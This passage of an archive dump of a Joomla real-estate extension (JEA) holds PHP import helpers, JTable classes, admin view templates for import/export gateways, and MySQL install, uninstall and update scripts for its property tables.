$fieldName = '', $fieldValue = '')
	{
		if (self::$tables === null)
		{
			$db = JFactory::getDbo();

			self::$tables = array();

			$tables = array(
				'amenities',
				'areas',
				'conditions',
				'departments',
				'heatingtypes',
				'hotwatertypes',
				'properties',
				'slogans',
				'towns',
				'types'
			);

			foreach ($tables as $tableName)
			{
				// Get all JEA datas
				$db->setQuery('SELECT * FROM #__jea_' . $tableName);

				self::$tables[$tableName] = $db->loadObjectList('id');
			}
		}

		if (empty(self::$tables[$tableName]) || empty($fieldName) ||
empty($fieldValue))
		{
			return false;
		}

		foreach (self::$tables[$tableName] as $row)
		{
			if (! isset($row->$fieldName))
			{
				return false;
			}

			if ($row->$fieldName == $fieldValue)
			{
				return $row;
			}
		}

		return false;
	}

	/**
	 * Get an user. Try to create an user if not found.
	 *
	 * @param   string  $email  The user email
	 * @param   string  $name   The user name
	 *
	 * @return  integer Return the user id. Return 0 if the user cannot be
created.
	 */
	public static function getUserId($email = '', $name =
'')
	{
		if (self::$users == null)
		{
			$db = JFactory::getDbo();
			$db->setQuery('SELECT `id`, `email` FROM `#__users`');
			$rows = $db->loadObjectList();

			foreach ($rows as $row)
			{
				self::$users[$row->email] = $row->id;
			}
		}

		if (isset(self::$users[$email]))
		{
			return self::$users[$email];
		}
		else
		{
			$id = self::_createUser($email, $name);

			if ($id != false)
			{
				self::$users[$email] = $id;

				return $id;
			}
		}

		return 0;
	}

	/**
	 * Create an user
	 *
	 * @param   string  $email  The user email
	 * @param   string  $name   The user name
	 *
	 * @return  boolean|number return the user id or false if the user cannot
be created
	 */
	protected static function _createUser($email = '', $name =
'')
	{
		if (!MailHelper::isEmailAddress($email))
		{
			return false;
		}

		$splitMail = explode('@', $email);
		$user = new User;

		$params = array(
			'username' => $splitMail[0] . uniqid(),
			'name' => $name,
			'email' => $email,
			'block' => 0,
			'sendEmail' => 0
		);

		$user->bind($params);

		if (true === $user->save())
		{
			return $user->id;
		}

		return false;
	}

	/**
	 * Convert Unix timestamp to MYSQL date
	 *
	 * @param   integer  $timestamp  An UNIX timestamp
	 * @param   boolean  $datetime   If true return MYSQL DATETIME else return
MYSQL DATE
	 *
	 * @return  string
	 */
	protected function _convertTimestampToMysqlDate($timestamp, $datetime =
true)
	{
		if (is_int($timestamp) && $timestamp > 0)
		{
			if ($datetime)
			{
				return date('Y-m-d H:i:s', $timestamp);
			}

			return date('Y-m-d', $timestamp);
		}

		return '';
	}
}
sql/uninstall.mysql.utf8.sql000064400000000730151165726450012142 0ustar00
-- DROP TABLE IF EXISTS `#__jea_advantages`;
-- DROP TABLE IF EXISTS `#__jea_areas`;
-- DROP TABLE IF EXISTS `#__jea_conditions`;
-- DROP TABLE IF EXISTS `#__jea_departments`;
-- DROP TABLE IF EXISTS `#__jea_heatingtypes`;
-- DROP TABLE IF EXISTS `#__jea_hotwatertypes`;
-- DROP TABLE IF EXISTS `#__jea_properties`;
-- DROP TABLE IF EXISTS `#__jea_slogans`;
-- DROP TABLE IF EXISTS `#__jea_towns`;
-- DROP TABLE IF EXISTS `#__jea_types`;

TRUNCATE TABLE `#__jea_tools`; 
sql/install.mysql.utf8.sql000064400000017513151165726450011606 0ustar00
-- --------------------------------------------------------

-- 
-- Table schema `#__jea_advantages`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_amenities` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `ordering` int(11) NOT NULL default '0',
  `language` char(7) NOT NULL COMMENT 'language where amenity is
shown',
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_areas`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_areas` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `town_id` int(11) NOT NULL default '0',
  `ordering` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_conditions`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_conditions` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `ordering` int(11) NOT NULL default '0',
  `language` char(7) NOT NULL COMMENT 'language where condition is
shown',
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_departments`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_departments` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `ordering` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`),
  KEY `name` (`value`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_heatingtypes`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_heatingtypes` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `ordering` int(11) NOT NULL default '0',
  `language` char(7) NOT NULL COMMENT 'language where heatingtype is
shown',
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_hotwatertypes`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_hotwatertypes` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `ordering` int(11) NOT NULL default '0',
  `language` char(7) NOT NULL COMMENT 'language where hotwatertype is
shown',
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_properties`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_properties` (
  `id` int(11) NOT NULL auto_increment,
  `asset_id` int(11) UNSIGNED NOT NULL DEFAULT '0' COMMENT
'FK to the #__assets table', 
  `ref` varchar(20) NOT NULL default '',
  `title` varchar(255) NOT NULL default '',
  `alias` varchar(255) NOT NULL default '',
  `transaction_type` ENUM('RENTING', 'SELLING') NOT
NULL default 'SELLING',
  `type_id` int(11) NOT NULL default '0',
  `price` decimal(12,2) NOT NULL default '0.00',
  `rate_frequency` ENUM( 'MONTHLY', 'WEEKLY',
'DAILY' ) NOT NULL default 'MONTHLY',
  `address` varchar(255) NOT NULL default '',
  `town_id` int(11) NOT NULL default '0',
  `area_id` int(11) NOT NULL default '0',
  `zip_code` varchar(10) NOT NULL default '',
  `department_id` int(11) NOT NULL default '0',
  `condition_id` int(11) NOT NULL default '0',
  `living_space` int(11) NOT NULL default '0',
  `land_space` int(11) NOT NULL default '0',
  `rooms` int(11) NOT NULL default '0',
  `bedrooms` int(11) NOT NULL default '0',
  `charges` decimal(12,2) NOT NULL default '0.00',
  `fees` decimal(12,2) NOT NULL default '0.00',
  `deposit` decimal(12,2) NOT NULL default '0.00',
  `hot_water_type` tinyint(1) NOT NULL default '0',
  `heating_type` tinyint(2) NOT NULL default '0',
  `bathrooms` tinyint(3) NOT NULL default '0',
  `toilets` tinyint(3) NOT NULL default '0',
  `availability` date NOT NULL default '0000-00-00',
  `floor` int(11) NOT NULL default '0',
  `floors_number` int(11) NOT NULL default '0',
  `orientation` ENUM('0', 'N', 'NE',
'NW', 'NS', 'E', 'W',
'S', 'SW', 'SE', 'EW') NOT NULL
default '0',
  `amenities` varchar(255) NOT NULL default '' COMMENT
'amenities list',
  `description` text NOT NULL,
  `slogan_id` int(11) NOT NULL default '0',
  `published` tinyint(1) NOT NULL default '0',
  `access` int(11) NOT NULL default '0',
  `ordering` int(11) NOT NULL default '0',
  `featured` tinyint(1) NOT NULL default '0',
  `created` datetime NOT NULL default '0000-00-00 00:00:00',
  `modified` datetime NOT NULL default '0000-00-00 00:00:00',
  `publish_up` datetime NOT NULL default '0000-00-00 00:00:00',
  `publish_down` datetime NOT NULL default '0000-00-00 00:00:00',
  `checked_out` int(11) NOT NULL default '0',
  `checked_out_time` datetime NOT NULL default '0000-00-00
00:00:00',
  `created_by` int(11) NOT NULL default '0',
  `hits` int(11) NOT NULL default '0',
  `images` TEXT NOT NULL,
  `latitude` varchar(20) NOT NULL default '0',
  `longitude` varchar(20) NOT NULL default '0',
  `notes` TEXT NOT NULL,
  `language` char(7) NOT NULL COMMENT 'language where property is
shown',
  `provider` varchar(50) NOT NULL default '' COMMENT 'A
gateway provider name',
  PRIMARY KEY  (`id`),
  KEY `idx_jea_transactiontype` (`transaction_type`),
  KEY `idx_jea_typeid` (`type_id`),
  KEY `idx_jea_departmentid` (`department_id`),
  KEY `idx_jea_townid` (`town_id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_tools`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_tools` (
  `id` int(11) NOT NULL auto_increment,
  `title` varchar(255) NOT NULL default '',
  `link` varchar(255) NOT NULL default '',
  `icon` varchar(255) NOT NULL default '',
  `params` TEXT NOT NULL,
  `access` TEXT NOT NULL,
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

INSERT INTO `#__jea_tools` (`id` , `title` , `link` , `icon` , `params` ,
`access`)
VALUES 
('1', 'com_jea_import',
'index.php?option=com_jea&view=gateways&layout=import',
'download', '',
'[''core.manage'',
''com_jea'', ''core.create'',
''com_jea'']'),
('2', 'com_jea_export',
'index.php?option=com_jea&view=gateways&layout=export',
'upload', '',
'[''core.manage'',
''com_jea'', ''core.create'',
''com_jea'']');

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_slogans`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_slogans` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `ordering` int(11) NOT NULL default '0',
  `language` char(7) NOT NULL COMMENT 'language where slogan is
shown',
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_towns`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_towns` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `department_id` int(11) NOT NULL default '0',
  `ordering` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_types`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_types` (
  `id` int(11) NOT NULL auto_increment,
  `value` varchar(255) NOT NULL default '',
  `ordering` int(11) NOT NULL default '0',
  `language` char(7) NOT NULL COMMENT 'language where type is
shown',
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

-- 
-- Table schema `#__jea_gateways`
-- 

CREATE TABLE IF NOT EXISTS `#__jea_gateways` (
  `id` int(11) NOT NULL auto_increment,
  `type` varchar(50) NOT NULL default '',
  `provider` varchar(50) NOT NULL default '',
  `title` varchar(255) NOT NULL default '',
  `published` tinyint(1) NOT NULL default '0',
  `ordering` int(11) NOT NULL default '0',
  `params` TEXT NOT NULL,
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

sql/updates/mysql/2.0.sql000064400000000107151165726450011207 0ustar00#
Dummy SQL file to set schema version to 2.0 so next update will work
sql/updates/mysql/2.1.sql000064400000000220151165726450011204 0ustar00ALTER
TABLE `#__jea_properties` CHANGE `orientation` `orientation` ENUM(
'0', 'N', 'NE', 'NW',
'E', 'W', 'S', 'SW', 'SE'
) NOT NULL DEFAULT '0'
sql/updates/mysql/2.2.sql000064400000000577151165726450011224 0ustar00ALTER
TABLE #__jea_properties ADD `publish_down` datetime NOT NULL default
'0000-00-00 00:00:00' AFTER `modified`;
ALTER TABLE #__jea_properties ADD `publish_up` datetime NOT NULL default
'0000-00-00 00:00:00' AFTER `modified`;
ALTER TABLE #__jea_properties ADD `access` int(11) NOT NULL default
'0' AFTER `published`;

UPDATE #__jea_properties SET `publish_up`=`created`, access=1;
sql/updates/mysql/2.30.sql000064400000000144151165726450011273
0ustar00ALTER TABLE `#__jea_properties` CHANGE `department_id`
`department_id` INT(11) NOT NULL DEFAULT '0'
sql/updates/mysql/3.1.sql000064400000000234151165726450011212 0ustar00ALTER
TABLE `#__jea_properties` CHANGE `orientation` `orientation` ENUM(
'0', 'N', 'NE', 'NW',
'NS', 'E', 'W', 'S',
'SW', 'SE', 'EW' ) NOT NULL DEFAULT
'0'
sql/updates/mysql/3.4.sql000064400000001565151165726450011225
0ustar00UPDATE `#__jea_tools` SET `title`='com_jea_import',
`link`='index.php?option=com_jea&view=gateways&layout=import',
`icon`='download',
`params`=''
WHERE `title`='com_jea_import_from_jea';

UPDATE `#__jea_tools` SET `title`='com_jea_export',
`link`='index.php?option=com_jea&view=gateways&layout=export',
`icon`='upload',
`params`=''
WHERE `title`='com_jea_import_from_csv';

CREATE TABLE IF NOT EXISTS `#__jea_gateways` (
  `id` int(11) NOT NULL auto_increment,
  `type` varchar(50) NOT NULL default '',
  `provider` varchar(50) NOT NULL default '',
  `title` varchar(255) NOT NULL default '',
  `published` tinyint(1) NOT NULL default '0',
  `ordering` int(11) NOT NULL default '0',
  `params` TEXT NOT NULL,
  PRIMARY KEY  (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

ALTER TABLE #__jea_properties ADD `provider` varchar(50) NOT NULL default
'' COMMENT 'A gateway provider name';
tables/gateway.php000064400000001264151165726460010210 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Gateway table class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       1.0
 */
class TableGateway extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  A database diver object
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__jea_gateways', 'id', $db);
	}
}
tables/features.php000064400000001616151165726460010366 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * FeaturesFactory table class.
 * This class provides a way to instantiate a feature table on the fly
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class FeaturesFactory extends JTable
{
	/**
	 * Method to perform sanity checks before to store in the database.
	 *
	 * @return  boolean  True if the instance is sane and able to be stored in
the database.
	 */
	public function check()
	{
		// For new insertion
		if (empty($this->id))
		{
			$this->ordering = $this->getNextOrder();
		}

		return true;
	}
}
tables/property.php000064400000011242151165726460010430 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Property table class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       3.4
 */
class TableProperty extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  A database diver object
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__jea_properties', 'id', $db);
	}

	/**
	 * Method to compute the default name of the asset.
	 *
	 * @see JTable::_getAssetName()
	 *
	 * @return  string
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;

		return 'com_jea.property.' . (int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return  string
	 *
	 * @see JTable::_getAssetTitle()
	 */
	protected function _getAssetTitle()
	{
		return $this->title;
	}

	/**
	 * Method to get the parent asset under which to register this one.
	 *
	 * @param   JTable   $table  A JTable object for the asset parent.
	 * @param   integer  $id     Id to look up
	 *
	 * @return  integer
	 *
	 * @see JTable::_getAssetParentId()
	 */
	protected function _getAssetParentId(JTable $table = null, $id = null)
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_jea');

		return $asset->id;
	}

	/**
	 * Method to bind an associative array or object to the JTableInterface
instance.
	 *
	 * @param   mixed  $array   An associative array or object to bind to the
JTableInterface instance.
	 * @param   mixed  $ignore  An optional array or space separated list of
properties to ignore while binding.
	 *
	 * @return  boolean  True on success.
	 *
	 * @see JTable::bind()
	 */
	public function bind($array, $ignore = '')
	{
		// Bind the images.
		if (isset($array['images']) &&
is_array($array['images']))
		{
			$images = array();

			foreach ($array['images'] as &$image)
			{
				$images[] = (object) $image;
			}

			$array['images'] = json_encode($images);
		}

		// Bind the rules.
		if (isset($array['rules']) &&
is_array($array['rules']))
		{
			$rules = new JAccessRules($array['rules']);
			$this->setRules($rules);
		}

		return parent::bind($array, $ignore);
	}

	/**
	 * Method to perform sanity checks before to store in the database.
	 *
	 * @return  boolean  True if the instance is sane and able to be stored in
the database.
	 *
	 * @see JTable::check()
	 */
	public function check()
	{
		if (empty($this->type_id))
		{
			$this->setError(JText::_('COM_JEA_MSG_SELECT_PROPERTY_TYPE'));

			return false;
		}

		// Check the publish down date is not earlier than publish up.
		if ($this->publish_down > $this->_db->getNullDate()
&& $this->publish_down < $this->publish_up)
		{
			$this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH'));

			return false;
		}

		// Auto Generate a reference if empty
		if (empty($this->ref))
		{
			$this->ref = uniqid();
		}

		// Alias cleanup
		if (empty($this->alias))
		{
			$this->alias = $this->title;
		}

		$this->alias = JFilterOutput::stringURLSafe($this->alias);

		// Serialize amenities
		if (! empty($this->amenities) &&
is_array($this->amenities))
		{
			// Sort in order to find easily property amenities in sql where clause
			sort($this->amenities);

			$this->amenities = '-' . implode('-',
$this->amenities) . '-';
		}
		else
		{
			$this->amenities = '';
		}

		// Check availability
		if (! preg_match('/^[0-9]{4}-[0-9]{2}-[0-9]{2}/',
trim($this->availability)))
		{
			$this->availability = '0000-00-00';
		}

		// Clean description for xhtml transitional compliance
		$this->description = str_replace('<br>', '<br
/>', $this->description);

		// For new insertion
		if (empty($this->id))
		{
			$user = JFactory::getUser();
			$this->ordering = $this->getNextOrder();
			$this->created = $this->created ? $this->created :
date('Y-m-d H:i:s');
			$this->created_by = $this->created_by ? $this->created_by :
$user->get('id');
		}
		else
		{
			$this->modified = date('Y-m-d H:i:s');
		}

		return true;
	}

	/**
	 * Method to delete a row from the database table by primary key value.
	 *
	 * @param   mixed  $pk  An optional primary key value to delete.
	 *
	 * @return  boolean  True on success.
	 *
	 * @see JTable::check()
	 */
	public function delete($pk = null)
	{
		$name = $this->_getAssetName();
		$asset = JTable::getInstance('Asset');

		// Force to delete even if property asset doesn't exist.
		if (! $asset->loadByName($name))
		{
			$this->_trackAssets = false;
		}

		return parent::delete($pk);
	}
}
views/gateway/tmpl/edit.php000064400000003447151165726460012001
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewGateway
 */
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>

<form action="" method="post"
id="adminForm" class="form-validate">

	<div class="form-horizontal">
		<div class="control-group">
			<div class="control-label"><?php echo
$this->form->getLabel('title') ?></div>
			<div class="controls"><div
class="input-append"><?php echo
$this->form->getInput('title')
?></div></div>
		</div>

		<div class="control-group">
			<div class="control-label"><?php echo
$this->form->getLabel('provider') ?></div>
			<div class="controls"><div
class="input-append"><?php echo
$this->form->getInput('provider')
?></div></div>
		</div>

		<div class="control-group">
			<div class="control-label"><?php echo
$this->form->getLabel('published') ?></div>
			<div class="controls"><div
class="input-append"><?php echo
$this->form->getInput('published')
?></div></div>
		</div>
	</div>

	<fieldset>
		<legend><?php echo
JText::_('COM_JEA_GATEWAY_PARAMS')?></legend>

		<?php if (!empty($this->item->id)): ?>
		<div class="form-horizontal">
			<?php foreach ($this->form->getGroup('params') as
$field) echo $field->renderField() ?>
		</div>
		<?php else : ?>
		<p><?php echo
JText::_('COM_JEA_GATEWAY_PARAMS_APPEAR_AFTER_SAVE')?></p>
		<?php endif?>
	</fieldset>

	<div>
		<input type="hidden" name="task"
value="" />
		<?php echo $this->form->getInput('id') ?>
		<?php echo $this->form->getInput('type') ?>
		<?php echo JHtml::_('form.token') ?>
	</div>
</form>
views/gateway/view.html.php000064400000003104151165726460012003
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Gateway View
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewGateway extends JViewLegacy
{
	/**
	 * The form object
	 *
	 * @var JForm
	 */
	protected $form;

	/**
	 * The database record
	 *
	 * @var JObject|boolean
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var JObject
	 */
	protected $state;

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		JeaHelper::addSubmenu('tools');

		$this->state = $this->get('State');

		$title = JText::_('COM_JEA_GATEWAYS');

		$this->item = $this->get('Item');

		switch ($this->_layout)
		{
			case 'edit':
				$this->form = $this->get('Form');

				JToolBarHelper::apply('gateway.apply');
				JToolBarHelper::save('gateway.save');
				JToolBarHelper::cancel('gateway.cancel');
				$isNew = ($this->item->id == 0);
				$title .= ' : ' . ($isNew ?
JText::_('JACTION_CREATE') : JText::_('JACTION_EDIT') .
' : ' . $this->item->title);
				break;
		}

		JToolBarHelper::title($title, 'jea');

		parent::display($tpl);
	}
}
views/gateways/tmpl/import.php000064400000001411151165726460012536
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewGateways
 */

JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>

<div id="j-sidebar-container" class="span2">
	<?php echo $this->sidebar?>
</div>

<div id="j-main-container" class="span10">
	<?php echo JLayoutHelper::render('jea.gateways.nav',
array('action' => 'import', 'view' =>
'console'))?>
	<?php echo JLayoutHelper::render('jea.gateways.consoles',
array('action' => 'import')) ?>
</div>views/gateways/tmpl/default.php000064400000014045151165726460012657
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package     Joomla.Administrator
* @subpackage  com_jea
* @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license     GNU General Public License version 2 or later; see
LICENSE.txt
*/

defined('_JEXEC') or die;

/**
 * @var $this JeaViewGateways
 */

JHtml::stylesheet('media/com_jea/css/jea.admin.css');
JHtml::_('behavior.multiselect');

$listOrder     =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));

if ($listOrder == 'ordering')
{
	$saveOrderingUrl =
'index.php?option=com_jea&task=gateways.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'gateways-list',
'adminForm', strtolower($listDirection), $saveOrderingUrl);
}

$script = <<<JS
jQuery(document).ready(function($) {

	$('.show-logs').click( function(e) {
		$('#modal').data('gatewayId',
$(this).data('gatewayId'));
		e.preventDefault();
	});

	$('#modal').modal({show: false}).on('shown.bs.modal',
function(e) {

		var gatewayId = $(this).data('gatewayId');

		$.get('index.php', {option : 'com_jea', task
:'gateway.getLogs', id: gatewayId}, function(response) {
			$('#logs').text(response);
		});

		$(this).find('a').each(function() {
			this.href = this.href.replace(/id=[0-9]*/, 'id=' + gatewayId);
		});

		$('.ajax-refresh-logs').click( function(e) {
			$.get( this.href, {}, function(response) {
				$('#logs').text(response);
			});
			e.preventDefault();
		});

	}).on('hide.bs.modal', function () {
		$('#logs').empty();
	});
});
JS;

$document = JFactory::getDocument();
$document->addScriptDeclaration($script);
?>

<div id="j-sidebar-container" class="span2">
	<?php echo $this->sidebar ?>
</div>

<div id="j-main-container" class="span10">

	<?php echo JLayoutHelper::render('jea.gateways.nav',
array('action' =>
$this->state->get('filter.type'), 'view' =>
'gateways'), JPATH_COMPONENT_ADMINISTRATOR )?>

	<hr />
	<form action="<?php echo
JRoute::_('index.php?option=com_jea&view=gateways')
?>" method="post" name="adminForm"
id="adminForm">

		<table class="table table-striped"
id="gateways-list">
			<thead>
				<tr>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('grid.sort', '',
'ordering', $listDirection, $listOrder, null, 'asc',
'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
					</th>

					<th width="1%" class="nowrap">
						<?php echo JHtml::_('grid.checkall') ?>
					</th>

					<th width="1%" class="nowrap">
						<?php echo JHtml::_('grid.sort', 'JSTATUS',
'published', $listDirection , $listOrder ) ?>
					</th>

					<th width="86%" class="nowrap">
						<?php echo JHtml::_('grid.sort',
'JGLOBAL_TITLE', 'title', $listDirection , $listOrder )
?>
					</th>

					<th width="5%" class="nowrap center">
						<?php echo JText::_('COM_JEA_LOGS') ?>
					</th>

					<th width="5%" class="nowrap center">
						<?php echo JHtml::_('grid.sort',
'COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL', 'provider',
$listDirection , $listOrder ) ?>
					</th>

					<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('grid.sort',
'JGRID_HEADING_ID', 'id', $listDirection, $listOrder);
?>
					</th>
				</tr>
			</thead>

			<tfoot>
				<tr>
					<td colspan="12"></td>
				</tr>
			</tfoot>

			<tbody>
				<?php foreach ($this->items as $i => $item) : ?>
				<tr class="row<?php echo $i % 2 ?>">
					<td width="1%" class="order nowrap center
hidden-phone">
					<?php
					$iconClass = '';
					if ($listOrder != 'ordering') $iconClass = ' inactive
tip-top hasTooltip" title="' .
JHtml::tooltipText('JORDERINGDISABLED');
					?>
						<span class="sortable-handler<?php echo $iconClass
?>"><span
class="icon-menu"></span></span>
					<?php if ($listOrder == 'ordering') : ?>
						<input type="text" style="display:none"
name="order[]" size="5" value="<?php echo
$item->ordering ?>" class="width-20 text-area-order "
/>
					<?php endif ?>
					</td>

					<td class="nowrap center">
						<?php echo JHtml::_('grid.id', $i, $item->id) ?>
					</td>

					<td width="1%" class="nowrap center">
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'gateways.', true, 'cb') ?>
					</td>

					<td width="86%" class="title">
						<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=gateway.edit&type='.
$this->state->get('filter.type')
.'&id='.(int) $item->id) ?>">
						<?php echo $item->title ?></a>
					</td>
					<td width="5%" class="nowrap center">
						<button class="btn btn-info show-logs"
data-toggle="modal" data-target="#modal"
data-gateway-id="<?php echo $item->id ?>">
						<?php echo JText::_('COM_JEA_LOGS') ?>
						</button>
					</td>
					<td width="5%" class="nowrap center">
						<?php echo $item->provider ?>
					</td>
					<td class="hidden-phone">
						<?php echo (int) $item->id ?>
					</td>
				</tr>
				<?php endforeach ?>
			</tbody>
		</table>
		<?php echo $this->pagination->getListFooter() ?>
		<div>
			<input type="hidden" name="task"
value="" />
			<input type="hidden" name="type"
value="<?php echo
$this->state->get('filter.type')?>" />
			<input type="hidden" name="boxchecked"
value="0" />
			<input type="hidden" name="filter_order"
value="<?php echo $listOrder ?>" />
			<input type="hidden" name="filter_order_Dir"
value="<?php echo $listDirection ?>" />
			<?php echo JHtml::_('form.token') ?>
		</div>
	</form>
</div>


<?php ob_start()?>
<p>
	<a class="ajax-refresh-logs" href="<?php echo
JRoute::_('index.php?option=com_jea&task=gateway.getLogs&id=')
?>">
		<?php echo JText::_('JGLOBAL_HELPREFRESH_BUTTON') ?>
	</a> |

	<a class="ajax-refresh-logs" href="<?php echo
JRoute::_('index.php?option=com_jea&task=gateway.deleteLogs&id=')
?>" id="delete_logs">
		<?php echo JText::_('JACTION_DELETE') ?>
	</a> |

	<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=gateway.downloadLogs&id=')
?>" id="download_logs">
		<?php echo JText::_('COM_JEA_DOWNLOAD') ?>
	</a>
</p>

<pre id="logs"></pre>
<?php
$modalBody = ob_get_contents();
ob_end_clean();
echo JHtml::_('bootstrap.renderModal', 'modal',
array('title' => JText::_('COM_JEA_LOGS')),
$modalBody);
?>
views/gateways/tmpl/export.php000064400000001412151165726460012546
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewGateways
 */

